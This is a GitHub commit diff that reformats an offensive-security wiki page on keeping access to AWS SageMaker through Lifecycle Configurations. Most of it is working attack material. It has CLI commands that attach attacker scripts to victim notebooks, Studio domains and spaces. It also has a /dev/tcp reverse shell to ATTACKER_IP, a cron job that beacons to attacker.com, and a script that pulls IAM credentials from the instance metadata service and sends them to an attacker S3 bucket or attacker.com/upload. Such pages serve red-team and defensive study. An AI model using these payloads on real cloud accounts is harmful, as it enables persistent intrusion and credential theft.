Update aws-sagemaker-persistence.md

This commit is contained in:
Ben
2025-07-15 17:01:04 -05:00
committed by GitHub
parent cfacf65682
commit 7b475f151e

View File

@@ -1,54 +1,74 @@
### AWS - SageMaker Lifecycle Configuration Persistence # AWS - SageMaker Lifecycle Configuration Persistence
# Required Permissions ## Required Permissions
* Notebook Instances: sagemaker:CreateNotebookInstanceLifecycleConfig, sagemaker:UpdateNotebookInstanceLifecycleConfig, sagemaker:CreateNotebookInstance, sagemaker:UpdateNotebookInstance * Notebook Instances:
* Studio Applications: sagemaker:CreateStudioLifecycleConfig, sagemaker:UpdateStudioLifecycleConfig, sagemaker:UpdateUserProfile, sagemaker:UpdateSpace, sagemaker:UpdateDomain ```
sagemaker:CreateNotebookInstanceLifecycleConfig
### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads. sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* Studio Applications:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
#### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
## Set Lifecycle Configuration on Notebook Instances ## Set Lifecycle Configuration on Notebook Instances
### Example AWS CLI Commands: ### Example AWS CLI Commands:
```bash
# Create Lifecycle Configuration*
*# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \ aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \ --notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh) --on-start Content=$(base64 -w0 reverse_shell.sh)
*# Attach Lifecycle Configuration to Notebook Instance*
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \ aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \ --notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc --lifecycle-config-name attacker-lcc
```
## Set Lifecycle Configuration on SageMaker Studio ## Set Lifecycle Configuration on SageMaker Studio
Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio. Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio.
### Studio Domain Level (All Users) ### Studio Domain Level (All Users)
```bash
# Create Studio Lifecycle Configuration*
*# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \ aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \ --studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \ --studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) --studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
*# Apply LCC to entire Studio Domain*
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{ aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": { "JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"} "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
} }
}' }'
```
### Studio Space Level (Individual or Shared Spaces) ### Studio Space Level (Individual or Shared Spaces)
```bash
# Update SageMaker Studio Space to attach LCC*
*# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{ aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": { "JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"} "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
} }
}' }'
```
## Types of Studio Application Lifecycle Configurations ## Types of Studio Application Lifecycle Configurations
Lifecycle configurations can be specifically applied to different SageMaker Studio application types: Lifecycle configurations can be specifically applied to different SageMaker Studio application types:
@@ -59,26 +79,26 @@ Lifecycle configurations can be specifically applied to different SageMaker Stud
### Example Command for Each Type: ### Example Command for Each Type:
### JupyterServer ### JupyterServer
```bash
aws sagemaker create-studio-lifecycle-config \ aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \ --studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \ --studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) --studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
```
### KernelGateway ### KernelGateway
```bash
aws sagemaker create-studio-lifecycle-config \ aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \ --studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \ --studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) --studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
```
### CodeEditor ### CodeEditor
```bash
aws sagemaker create-studio-lifecycle-config \ aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \ --studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \ --studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) --studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
```
### Critical Info: ### Critical Info:
* Attaching LCCs at the domain or space level impacts all users or applications within scope. * Attaching LCCs at the domain or space level impacts all users or applications within scope.
* Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level. * Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level.
@@ -89,18 +109,18 @@ aws sagemaker create-studio-lifecycle-config \
SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell. SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell.
### Payload Example: ### Payload Example:
```
#!/bin/bash #!/bin/bash
ATTACKER_IP="<ATTACKER_IP>" ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>" ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Cron Job Persistence via Lifecycle Configuration ## Cron Job Persistence via Lifecycle Configuration
An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence. An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence.
### Payload Example: ### Payload Example:
```
#!/bin/bash #!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
@@ -111,22 +131,24 @@ echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOA
chmod +x $PAYLOAD_PATH chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - (crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## Credential Exfiltration via IMDS (v1 & v2) ## Credential Exfiltration via IMDS (v1 & v2)
Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location. Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.
### Payload Example: ### Payload Example:
```bash
#!/bin/bash #!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket" ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
*# Exfiltrate via S3* # Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
*# Alternatively, exfiltrate via HTTP POST* # Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```